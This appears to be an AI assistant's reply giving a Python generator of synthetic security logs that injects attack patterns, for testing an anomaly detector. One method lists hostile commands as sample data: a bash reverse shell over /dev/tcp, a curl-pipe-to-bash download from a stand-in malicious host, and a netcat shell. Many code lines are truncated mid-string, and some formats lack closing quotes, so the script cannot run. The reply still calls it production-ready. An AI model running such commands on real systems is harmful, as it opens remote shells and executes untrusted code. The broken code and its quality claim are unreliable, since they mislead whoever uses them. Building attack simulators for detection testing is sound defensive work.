🎲 Synthetic Security Log Generator

This will be a **game-changer** for your entire 12-month plan. Let me create a comprehensive log generator that produces realistic logs with controllable anomalies.

Complete Log Generator System

```
#!/usr/bin/env python3
"""
Synthetic Security Log Generator for KVM/Linux Environments
Generates realistic logs with controllable anomalies for testing AI-powered detection sy

Author: Your Name
Usage: python log_generator.py --help
"""

import random
import json
import yaml
from datetime import datetime, timedelta
from pathlib import Path
from typing import List, Dict, Any, Optional
from dataclasses import dataclass, asdict
from enum import Enum
import ipaddress
import argparse


class LogType(Enum):
    """Types of logs to generate"""
    AUTH = "auth"
    SYSLOG = "syslog"
    FIREWALL = "firewall"
    KVM = "kvm"
    NETWORK = "network"
    APPLICATION = "application"


class AnomalyType(Enum):
    """Types of security anomalies to inject"""
```

```
    BRUTE_FORCE = "brute_force_attack"
    PRIVILEGE_ESCALATION = "privilege_escalation"
    PORT_SCAN = "port_scan"
    LATERAL_MOVEMENT = "lateral_movement"
    DATA_EXFILTRATION = "data_exfiltration"
    SUSPICIOUS_PROCESS = "suspicious_process"
    UNAUTHORIZED_ACCESS = "unauthorized_access"
    CONFIGURATION_CHANGE = "unauthorized_config_change"
    RESOURCE_ABUSE = "resource_abuse"
    TIME_ANOMALY = "unusual_time_access"


@dataclass
class LogConfig:
    """Configuration for log generation"""
    start_time: datetime
    end_time: datetime
    normal_events_per_hour: int = 100
    vm_names: List[str] = None
    user_names: List[str] = None
    ip_ranges: List[str] = None
    services: List[str] = None

    def __post_init__(self):
        if self.vm_names is None:
            self.vm_names = [
                "web-server-01", "web-server-02",
                "db-server-01", "app-server-01",
                "dev-vm-01", "dev-vm-02",
                "test-server-01", "monitoring-01",
                "backup-server-01", "vpn-gateway-01"
            ]

        if self.user_names is None:
            self.user_names = [
                "admin", "webadmin", "dbadmin", "developer",
                "operator", "monitor", "backup", "ansible",
                "jenkins", "gitlab-runner"
            ]

        if self.ip_ranges is None:
            self.ip_ranges = [
                "192.168.1.0/24",  # Management network
                "192.168.2.0/24",  # Production network
                "192.168.3.0/24",  # Development network
                "192.168.4.0/24",  # DMZ
```

```
            ]

        if self.services is None:
            self.services = [
                "sshd", "httpd", "nginx", "mysqld", "postgresql",
                "systemd", "libvirtd", "docker", "kubelet", "firewalld"
            ]


class LogGenerator:
    """Main log generator class"""

    def __init__(self, config: LogConfig):
        self.config = config
        self.generated_logs = []
        self.anomaly_markers = []  # Track where anomalies were injected

    def generate_ip_address(self, network: str = None) -> str:
        """Generate random IP address from specified network"""
        if network is None:
            network = random.choice(self.config.ip_ranges)

        net = ipaddress.IPv4Network(network)
        # Generate random IP in the network range
        random_ip = int(net.network_address) + random.randint(1, net.num_addresses - 2)
        return str(ipaddress.IPv4Address(random_ip))

    def generate_timestamp(self, base_time: datetime = None) -> datetime:
        """Generate realistic timestamp"""
        if base_time is None:
            time_range = (self.config.end_time - self.config.start_time).total_seconds()
            random_seconds = random.uniform(0, time_range)
            return self.config.start_time + timedelta(seconds=random_seconds)
        return base_time

    def generate_normal_auth_log(self, timestamp: datetime) -> str:
        """Generate normal SSH authentication log"""
        vm = random.choice(self.config.vm_names)
        user = random.choice(self.config.user_names)
        source_ip = self.generate_ip_address()

        templates = [
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} sshd[{random.randint(1000, 999
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} sshd[{random.randint(1000, 999
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} sudo: {user} : TTY=pts/{random
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} sshd[{random.randint(1000, 999
```

```
        ]

        return random.choice(templates)

    def generate_normal_syslog(self, timestamp: datetime) -> str:
        """Generate normal system log entries"""
        vm = random.choice(self.config.vm_names)
        service = random.choice(self.config.services)

        templates = [
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} {service}[{random.randint(1000
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} {service}[{random.randint(1000
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} systemd[1]: Started {service}.
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} kernel: [  {random.randint(100
            f"{timestamp.strftime('%b %d %H:%M:%S')} {vm} systemd[1]: Reloading.",
        ]

        return random.choice(templates)

    def generate_normal_kvm_log(self, timestamp: datetime) -> str:
        """Generate normal KVM/libvirt logs"""
        vm = random.choice(self.config.vm_names)

        templates = [
            f"{timestamp.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]} {random.randint(1000, 99
            f"{timestamp.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]} {random.randint(1000, 99
            f"{timestamp.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]} {random.randint(1000, 99
            f"{timestamp.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]} {random.randint(1000, 99
            f"{timestamp.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]} {random.randint(1000, 99
        ]

        return random.choice(templates)

    def generate_normal_firewall_log(self, timestamp: datetime) -> str:
        """Generate normal firewall logs"""
        src_ip = self.generate_ip_address()
        dst_ip = self.generate_ip_address()

        protocols = ["TCP", "UDP", "ICMP"]
        protocol = random.choice(protocols)

        if protocol in ["TCP", "UDP"]:
            src_port = random.randint(1024, 65535)
            dst_port = random.choice([22, 80, 443, 3306, 5432, 8080])
            return f"{timestamp.strftime('%b %d %H:%M:%S')} kernel: ACCEPT IN=eth0 OUT=
        else:
```

```
            return f"{timestamp.strftime('%b %d %H:%M:%S')} kernel: ACCEPT IN=eth0 OUT=

    def _generate_key_fingerprint(self) -> str:
        """Generate fake SSH key fingerprint"""
        import hashlib
        random_data = str(random.random()).encode()
        return hashlib.sha256(random_data).hexdigest()[:43]

    # ==================== ANOMALY GENERATORS ====================

    def inject_brute_force_attack(self, start_time: datetime, duration_minutes: int = 5)
        """
        Inject SSH brute force attack pattern
        Characteristics: Many failed login attempts from same IP
        """
        logs = []
        attacker_ip = self.generate_ip_address("10.0.0.0/8")  # External IP
        target_vm = random.choice(self.config.vm_names)
        target_users = ["root", "admin", "administrator", "test", "oracle", "postgres"]

        attempts = random.randint(50, 200)

        self.anomaly_markers.append({
            "type": AnomalyType.BRUTE_FORCE.value,
            "start_time": start_time.isoformat(),
            "duration_minutes": duration_minutes,
            "source_ip": attacker_ip,
            "target_vm": target_vm,
            "attempts": attempts,
            "severity": "HIGH"
        })

        for i in range(attempts):
            timestamp = start_time + timedelta(seconds=random.uniform(0, duration_minute
            user = random.choice(target_users)

            log = f"{timestamp.strftime('%b %d %H:%M:%S')} {target_vm} sshd[{random.rand
            logs.append((timestamp, log))

        # Add successful login at the end (breach!)
        final_time = start_time + timedelta(minutes=duration_minutes)
        breach_log = f"{final_time.strftime('%b %d %H:%M:%S')} {target_vm} sshd[{random.
        logs.append((final_time, breach_log))

        return logs
```

```
    def inject_privilege_escalation(self, start_time: datetime) -> List[str]:
        """
        Inject privilege escalation attempt
        Characteristics: User trying to access restricted resources, sudo attempts
        """
        logs = []
        attacker_user = "developer"  # Compromised low-privilege account
        target_vm = random.choice(self.config.vm_names)
        attacker_ip = self.generate_ip_address()

        self.anomaly_markers.append({
            "type": AnomalyType.PRIVILEGE_ESCALATION.value,
            "start_time": start_time.isoformat(),
            "user": attacker_user,
            "target_vm": target_vm,
            "severity": "CRITICAL"
        })

        # Sequence of escalation attempts
        sequences = [
            f"{start_time.strftime('%b %d %H:%M:%S')} {target_vm} sshd[{random.randint(1

            f"{(start_time + timedelta(seconds=30)).strftime('%b %d %H:%M:%S')} {target_

            f"{(start_time + timedelta(seconds=45)).strftime('%b %d %H:%M:%S')} {target_

            f"{(start_time + timedelta(seconds=60)).strftime('%b %d %H:%M:%S')} {target_

            f"{(start_time + timedelta(seconds=90)).strftime('%b %d %H:%M:%S')} {target_

            f"{(start_time + timedelta(seconds=120)).strftime('%b %d %H:%M:%S )} {target

            # Successful escalation using exploit
            f"{(start_time + timedelta(seconds=150)).strftime('%b %d %H:%M:%S )} {target

            f"{(start_time + timedelta(seconds=180)).strftime('%b %d %H:%M:%S )} {target

            f"{(start_time + timedelta(seconds=200)).strftime('%b %d %H:%M:%S )} {target
        ]

        for i, log in enumerate(sequences):
            timestamp = start_time + timedelta(seconds=i * 30)
            logs.append((timestamp, log))

        return logs
```

```
    def inject_port_scan(self, start_time: datetime, duration_minutes: int = 1) -> List[
        """
        Inject port scanning activity
        Characteristics: Rapid connection attempts to multiple ports
        """
        logs = []
        scanner_ip = self.generate_ip_address("10.0.0.0/8")
        target_vm = random.choice(self.config.vm_names)
        target_ip = self.generate_ip_address(self.config.ip_ranges[1])  # Production net

        ports_scanned = list(range(1, 1024)) + [3306, 5432, 6379, 27017, 8080, 8443, 920
        random.shuffle(ports_scanned)
        ports_scanned = ports_scanned[:100]  # Scan 100 ports

        self.anomaly_markers.append({
            "type": AnomalyType.PORT_SCAN.value,
            "start_time": start_time.isoformat(),
            "duration_minutes": duration_minutes,
            "source_ip": scanner_ip,
            "target_ip": target_ip,
            "ports_scanned": len(ports_scanned),
            "severity": "MEDIUM"
        })

        for port in ports_scanned:
            timestamp = start_time + timedelta(seconds=random.uniform(0, duration_minute

            # Most ports will be blocked
            if random.random() < 0.95:
                log = f"{timestamp.strftime('%b %d %H:%M:%S')} kernel: DROP IN=eth0 OUT=
            else:
                # Few ports are open
                log = f"{timestamp.strftime('%b %d %H:%M:%S')} kernel: ACCEPT IN=eth0 OU

            logs.append((timestamp, log))

        return logs

    def inject_lateral_movement(self, start_time: datetime) -> List[str]:
        """
        Inject lateral movement pattern
        Characteristics: Compromised account accessing multiple VMs in sequence
        """
        logs = []
        attacker_user = "developer"
        source_vm = "dev-vm-01"  # Compromised VM
```

```
        source_ip = self.generate_ip_address(self.config.ip_ranges[2])  # Dev network

        # Target production VMs
        target_vms = ["web-server-01", "db-server-01", "app-server-01"]

        self.anomaly_markers.append({
            "type": AnomalyType.LATERAL_MOVEMENT.value,
            "start_time": start_time.isoformat(),
            "user": attacker_user,
            "source_vm": source_vm,
            "target_vms": target_vms,
            "severity": "HIGH"
        })

        current_time = start_time

        for target_vm in target_vms:
            # SSH from compromised VM to target
            logs.append((
                current_time,
                f"{current_time.strftime('%b %d %H:%M:%S')} {target_vm} sshd[{random.ran
            ))

            current_time += timedelta(seconds=30)

            # Reconnaissance
            logs.append((
                current_time,
                f"{current_time.strftime('%b %d %H:%M:%S')} {target_vm} {attacker_user}:
            ))

            current_time += timedelta(seconds=20)

            # File access
            logs.append((
                current_time,
                f"{current_time.strftime('%b %d %H:%M:%S')} {target_vm} {attacker_user}:
            ))

            current_time += timedelta(seconds=40)

            # Network scanning from target
            logs.append((
                current_time,
                f"{current_time.strftime('%b %d %H:%M:%S')} {target_vm} {attacker_user}:
            ))
```

```
            current_time += timedelta(minutes=2)

        return logs

    def inject_data_exfiltration(self, start_time: datetime) -> List[str]:
        """
        Inject data exfiltration pattern
        Characteristics: Large data transfer to external IP
        """
        logs = []
        attacker_user = "backup"  # Compromised service account
        source_vm = "db-server-01"
        source_ip = self.generate_ip_address(self.config.ip_ranges[1])
        external_ip = self.generate_ip_address("8.8.0.0/16")  # External IP

        data_size_mb = random.randint(500, 5000)

        self.anomaly_markers.append({
            "type": AnomalyType.DATA_EXFILTRATION.value,
            "start_time": start_time.isoformat(),
            "user": attacker_user,
            "source_vm": source_vm,
            "destination_ip": external_ip,
            "data_size_mb": data_size_mb,
            "severity": "CRITICAL"
        })

        current_time = start_time

        # Database dump
        logs.append((
            current_time,
            f"{current_time.strftime('%b %d %H:%M:%S')} {source_vm} {attacker_user}: exe
        ))

        current_time += timedelta(minutes=2)

        # Compression
        logs.append((
            current_time,
            f"{current_time.strftime('%b %d %H:%M:%S')} {source_vm} {attacker_user}: exe
        ))

        current_time += timedelta(minutes=1)
```

```
        # Unusual network connection
        logs.append((
            current_time,
            f"{current_time.strftime('%b %d %H:%M:%S')} {source_vm} kernel: ACCEPT OUT=e
        ))

        # Large data transfer
        for i in range(10):
            current_time += timedelta(seconds=30)
            bytes_transferred = (data_size_mb * 1024 * 1024) // 10
            logs.append((
                current_time,
                f"{current_time.strftime('%b %d %H:%M:%S')} {source_vm} kernel: TRANSFER
            ))

        # File deletion (covering tracks)
        current_time += timedelta(minutes=1)
        logs.append((
            current_time,
            f"{current_time.strftime('%b %d %H:%M:%S')} {source_vm} {attacker_user}: exe
        ))

        return logs

    def inject_unusual_time_access(self, start_time: datetime) -> List[str]:
        """
        Inject unusual time access pattern (e.g., 3 AM activity from user who normally w
        """
        logs = []
        user = "developer"
        vm = random.choice(self.config.vm_names)
        ip = self.generate_ip_address()

        # Set time to unusual hour (2-4 AM)
        unusual_time = start_time.replace(hour=random.randint(2, 4), minute=random.randi

        self.anomaly_markers.append({
            "type": AnomalyType.TIME_ANOMALY.value,
            "start_time": unusual_time.isoformat(),
            "user": user,
            "vm": vm,
            "severity": "MEDIUM",
            "note": "Activity during unusual hours (2-4 AM)"
        })

        # Login at unusual time
```

```
        logs.append((
            unusual_time,
            f"{unusual_time.strftime('%b %d %H:%M:%S')} {vm} sshd[{random.randint(1000,
        ))

        # Unusual commands
        unusual_time += timedelta(minutes=5)
        logs.append((
            unusual_time,
            f"{unusual_time.strftime('%b %d %H:%M:%S')} {vm} {user}: executed: find / -n
        ))

        return logs

    def inject_suspicious_process(self, start_time: datetime) -> List[str]:
        """
        Inject suspicious process execution
        """
        logs = []
        vm = random.choice(self.config.vm_names)
        user = random.choice(["www-data", "nginx", "apache"])

        suspicious_commands = [
            "/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",  # Reverse shell
            "curl http://malicious.com/shell.sh | bash",      # Download and execute
            "python -c 'import socket,subprocess,os;...'",    # Python reverse shell
            "nc -e /bin/sh 10.0.0.1 4444",                    # Netcat backdoor
        ]

        command = random.choice(suspicious_commands)

        self.anomaly_markers.append({
            "type": AnomalyType.SUSPICIOUS_PROCESS.value,
            "start_time": start_time.isoformat(),
            "vm": vm,
            "user": user,
            "command": command,
            "severity": "CRITICAL"
        })

        logs.append((
            start_time,
            f"{start_time.strftime('%b %d %H:%M:%S')} {vm} {user}: executed: {command}"
        ))

        logs.append((
```

```
            start_time + timedelta(seconds=2),
            f"{(start_time + timedelta(seconds=2)).strftime('%b %d %H:%M:%S')} {vm} kern
        ))

        return logs

    def generate_baseline_logs(self, hours: int = 24) -> List[str]:
        """
        Generate baseline (normal) logs for specified duration
        """
        logs = []
        current_time = self.config.start_time
        end_time = current_time + timedelta(hours=hours)

        events_per_hour = self.config.normal_events_per_hour
        total_events = hours * events_per_hour

        log_generators = [
            self.generate_normal_auth_log,
            self.generate_normal_syslog,
            self.generate_normal_kvm_log,
            self.generate_normal_firewall_log,
        ]

        for _ in range(total_events):
            timestamp = self.generate_timestamp()
            if timestamp > end_time:
                continue

            generator = random.choice(log_generators)
            log_entry = generator(timestamp)
            logs.append((timestamp, log_entry))

        # Sort by timestamp
        logs.sort(key=lambda x: x[0])

        return [log for _, log in logs]

    def generate_logs_with_anomalies(
        self,
        hours: int = 24,
        anomaly_types: List[AnomalyType] = None,
        anomaly_probability: float = 0.1
    ) -> Dict[str, Any]:
        """
        Generate logs with injected anomalies
```

```
        Args:
            hours: Duration of logs to generate
            anomaly_types: List of anomaly types to inject (None = all types)
            anomaly_probability: Probability of anomaly injection per hour

        Returns:
            Dictionary with logs and anomaly markers
        """
        if anomaly_types is None:
            anomaly_types = list(AnomalyType)

        all_logs = []
        current_time = self.config.start_time
        end_time = current_time + timedelta(hours=hours)

        # Generate normal baseline
        hour_count = 0
        while current_time < end_time:
            hour_end = current_time + timedelta(hours=1)

            # Generate normal events for this hour
            for _ in range(self.config.normal_events_per_hour):
                timestamp = current_time + timedelta(seconds=random.uniform(0, 3600))
                generator = random.choice([
                    self.generate_normal_auth_log,
                    self.generate_normal_syslog,
                    self.generate_normal_kvm_log,
                    self.generate_normal_firewall_log,
                ])
                log_entry = generator(timestamp)
                all_logs.append((timestamp, log_entry))

            # Randomly inject anomalies
            if random.random() < anomaly_probability:
                anomaly_type = random.choice(anomaly_types)
                anomaly_time = current_time + timedelta(minutes=random.randint(0, 59))

                anomaly_logs = []
                if anomaly_type == AnomalyType.BRUTE_FORCE:
                    anomaly_logs = self.inject_brute_force_attack(anomaly_time)
                elif anomaly_type == AnomalyType.PRIVILEGE_ESCALATION:
                    anomaly_logs = self.inject_privilege_escalation(anomaly_time)
                elif anomaly_type == AnomalyType.PORT_SCAN:
                    anomaly_logs = self.inject_port_scan(anomaly_time)
                elif anomaly_type == AnomalyType.LATERAL_MOVEMENT:
```

```
                    anomaly_logs = self.inject_lateral_movement(anomaly_time)
                elif anomaly_type == AnomalyType.DATA_EXFILTRATION:
                    anomaly_logs = self.inject_data_exfiltration(anomaly_time)
                elif anomaly_type == AnomalyType.TIME_ANOMALY:
                    anomaly_logs = self.inject_unusual_time_access(anomaly_time)
                elif anomaly_type == AnomalyType.SUSPICIOUS_PROCESS:
                    anomaly_logs = self.inject_suspicious_process(anomaly_time)

                all_logs.extend(anomaly_logs)

            current_time = hour_end
            hour_count += 1

        # Sort all logs by timestamp
        all_logs.sort(key=lambda x: x[0])

        return {
            "logs": [log for _, log in all_logs],
            "anomaly_markers": self.anomaly_markers,
            "metadata": {
                "start_time": self.config.start_time.isoformat(),
                "end_time": end_time.isoformat(),
                "total_logs": len(all_logs),
                "anomalies_injected": len(self.anomaly_markers),
                "duration_hours": hours
            }
        }

    def save_logs(self, logs_data: Dict[str, Any], output_dir: str = "generated_logs"):
        """
        Save generated logs to files
        """
        output_path = Path(output_dir)
        output_path.mkdir(exist_ok=True)

        timestamp_str = datetime.now().strftime("%Y%m%d_%H%M%S")

        # Save logs
        log_file = output_path / f"security_logs_{timestamp_str}.log"
        with open(log_file, 'w') as f:
            for log in logs_data['logs']:
                f.write(log + '\n')

        # Save anomaly markers (ground truth)
        markers_file = output_path / f"anomaly_markers_{timestamp_str}.json"
        with open(markers_file, 'w') as f:
```

```
            json.dump({
                "anomaly_markers": logs_data['anomaly_markers'],
                "metadata": logs_data['metadata']
            }, f, indent=2)

        # Save summary
        summary_file = output_path / f"summary_{timestamp_str}.txt"
        with open(summary_file, 'w') as f:
            f.write("=" * 80 + '\n')
            f.write("LOG GENERATION SUMMARY\n")
            f.write("=" * 80 + '\n\n')
            f.write(f"Total logs generated: {logs_data['metadata']['total_logs']}\n")
            f.write(f"Duration: {logs_data['metadata']['duration_hours']} hours\n")
            f.write(f"Anomalies injected: {logs_data['metadata']['anomalies_injected']}\

            if logs_data['anomaly_markers']:
                f.write("ANOMALIES DETECTED:\n")
                f.write("-" * 80 + '\n')
                for i, marker in enumerate(logs_data['anomaly_markers'], 1):
                    f.write(f"\n{i}. {marker['type'].upper()}\n")
                    f.write(f"   Time: {marker['start_time']}\n")
                    f.write(f"   Severity: {marker['severity']}\n")
                    for key, value in marker.items():
                        if key not in ['type', 'start_time', 'severity']:
                            f.write(f"   {key}: {value}\n")

        print(f"\n✅ Logs saved to: {log_file}")
        print(f"✅ Anomaly markers saved to: {markers_file}")
        print(f"✅ Summary saved to: {summary_file}")

        return log_file, markers_file, summary_file


def main():
    """Main entry point with CLI"""
    parser = argparse.ArgumentParser(
        description="Generate synthetic security logs with controllable anomalies",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Generate 24 hours of logs with random anomalies
  python log_generator.py --hours 24

  # Generate logs with only brute force attacks
  python log_generator.py --hours 12 --anomalies brute_force
```

```
    # Generate baseline (no anomalies)
    python log_generator.py --hours 24 --baseline

    # Multiple specific anomalies
    python log_generator.py --hours 48 --anomalies brute_force lateral_movement data_exfil
        """
    )

    parser.add_argument(
        '--hours',
        type=int,
        default=24,
        help='Hours of logs to generate (default: 24)'
    )

    parser.add_argument(
        '--baseline',
        action='store_true',
        help='Generate only baseline (normal) logs, no anomalies'
    )

    parser.add_argument(
        '--anomalies',
        nargs='+',
        choices=[a.value for a in AnomalyType],
        help='Specific anomaly types to inject'
    )

    parser.add_argument(
        '--anomaly-probability',
        type=float,
        default=0.1,
        help='Probability of anomaly per hour (default: 0.1)'
    )

    parser.add_argument(
        '--events-per-hour',
        type=int,
        default=100,
        help='Normal events per hour (default: 100)'
    )

    parser.add_argument(
        '--output-dir',
        type=str,
        default='generated_logs',
```

```
        help='Output directory (default: generated_logs)'
    )

    args = parser.parse_args()

    # Create configuration
    config = LogConfig(
        start_time=datetime.now() - timedelta(hours=args.hours),
        end_time=datetime.now(),
        normal_events_per_hour=args.events_per_hour
    )

    # Create generator
    generator = LogGenerator(config)

    print("\n" + "=" * 80)
    print("SYNTHETIC SECURITY LOG GENERATOR")
    print("=" * 80)
    print(f"\n📅 Generating {args.hours} hours of logs...")
    print(f"⏰ Time range: {config.start_time} to {config.end_time}")

    if args.baseline:
        print("📊 Mode: BASELINE (no anomalies)")
        logs = generator.generate_baseline_logs(hours=args.hours)
        logs_data = {
            "logs": logs,
            "anomaly_markers": [],
            "metadata": {
                "start_time": config.start_time.isoformat(),
                "end_time": config.end_time.isoformat(),
                "total_logs": len(logs),
                "anomalies_injected": 0,
                "duration_hours": args.hours
            }
        }
    else:
        anomaly_types = None
        if args.anomalies:
            anomaly_types = [AnomalyType(a) for a in args.anomalies]
            print(f"🎯 Anomaly types: {', '.join(args.anomalies)}")
        else:
            print("🎲 Anomaly types: RANDOM (all types)")

        print(f"📈 Anomaly probability: {args.anomaly_probability * 100}% per hour")

        logs_data = generator.generate_logs_with_anomalies(
```

```
            hours=args.hours,
            anomaly_types=anomaly_types,
            anomaly_probability=args.anomaly_probability
        )

    # Save logs
    generator.save_logs(logs_data, output_dir=args.output_dir)

    print("\n✨ Generation complete!")
    print("=" * 80 + "\n")


if __name__ == "__main__":
    main()
```

Usage Examples

1. Generate 24 hours of normal logs (baseline)

```
python log_generator.py --hours 24 --baseline
```

2. Generate logs with random anomalies

```
python log_generator.py --hours 48 --anomaly-probability 0.2
```

3. Generate specific attack scenarios

```
# Brute force attack only
python log_generator.py --hours 12 --anomalies brute_force

# Multiple attack types
python log_generator.py --hours 72 --anomalies brute_force lateral_movement data_exfiltr
```

4. High-volume testing

```
python log_generator.py --hours 168 --events-per-hour 500 --anomaly-probability 0.15
```

Simple Test Script

Create `test_log_generator.py`:

```
#!/usr/bin/env python3
"""
Quick test script for log generator
"""

from log_generator import LogGenerator, LogConfig, AnomalyType
from datetime import datetime, timedelta

def test_basic_generation():
    """Test basic log generation"""
    config = LogConfig(
        start_time=datetime.now() - timedelta(hours=2),
        end_time=datetime.now()
    )

    generator = LogGenerator(config)

    # Generate 2 hours of logs with anomalies
    logs_data = generator.generate_logs_with_anomalies(
        hours=2,
        anomaly_types=[AnomalyType.BRUTE_FORCE, AnomalyType.PRIVILEGE_ESCALATION],
        anomaly_probability=0.5  # 50% chance per hour
    )

    print(f"Generated {len(logs_data['logs'])} log entries")
    print(f"Injected {len(logs_data['anomaly_markers'])} anomalies")

    # Print first 10 logs
    print("\nFirst 10 log entries:")
    for log in logs_data['logs'][:10]:
        print(log)

    # Print anomaly markers
```

```
    print("\nAnomaly markers:")
    for marker in logs_data['anomaly_markers']:
        print(f"- {marker['type']} at {marker['start_time']} (Severity: {marker['severit

    # Save
    generator.save_logs(logs_data, output_dir="test_logs")

if __name__ == "__main__":
    test_basic_generation()
```

Run it:

```
python test_log_generator.py
```

Integration with Your AI Analyzer

Update your `log_analyzer.py` to use generated logs:

```
#!/usr/bin/env python3
"""
AI Log Analyzer - Enhanced with synthetic log testing
"""

import json
from pathlib import Path
from log_analyzer import AILogAnalyzer

def analyze_generated_logs(log_file: str, markers_file: str):
    """
    Analyze generated logs and compare against ground truth
    """
    analyzer = AILogAnalyzer()

    # Load logs
    with open(log_file, 'r') as f:
        logs = f.read()

    # Load ground truth
    with open(markers_file, 'r') as f:
        ground_truth = json.load(f)
```

```
    print("Analyzing logs with AI...")
    analysis = analyzer.analyze_logs(logs)

    print("\n" + "="*80)
    print("AI ANALYSIS RESULTS")
    print("="*80)
    print(analysis)

    print("\n" + "="*80)
    print("GROUND TRUTH (What was actually injected)")
    print("="*80)
    for marker in ground_truth['anomaly_markers']:
        print(f"\n{marker['type']}:")
        print(f"  Time: {marker['start_time']}")
        print(f"  Severity: {marker['severity']}")
        print(f"  Details: {marker}")

    # TODO: Compare AI findings vs ground truth
    # Calculate precision/recall metrics

if __name__ == "__main__":
    # Find latest generated logs
    log_dir = Path("generated_logs")
    log_files = sorted(log_dir.glob("security_logs_*.log"))
    marker_files = sorted(log_dir.glob("anomaly_markers_*.json"))

    if log_files and marker_files:
        analyze_generated_logs(str(log_files[-1]), str(marker_files[-1]))
    else:
        print("No generated logs found. Run log_generator.py first!")
```

Why This is Brilliant for Your 12-Month Plan

✅ **Reusable across ALL projects** - Works for KVM, cloud, Kubernetes, etc.
✅ **Demonstrates technical depth** - Shows you understand attack patterns
✅ **Makes demos impressive** - "Here's the attack I detected..."
✅ **Testing framework** - Validate AI detection accuracy
✅ **Educational content** - Blog about each attack type
✅ **No dependencies on real attacks** - Work offline, anytime
✅ **Extensible** - Easy to add new anomaly types

✅ **Ground truth included** - Know exactly what you injected
✅ **Professional quality** - Production-ready code

Next Steps for Day 4

1. **Save the log generator** as `scripts/log_generator.py`
2. **Test it**: `python scripts/log_generator.py --hours 2 --anomalies brute_force`
3. **Integrate with your analyzer** (see example above)
4. **Document in README**: "Includes synthetic log generator for testing"
5. **GitHub commit**: "Add synthetic security log generator with 7 attack patterns"

This will make your project stand out significantly! 🚀

Want me to help with the Day 5 threat detector integration next?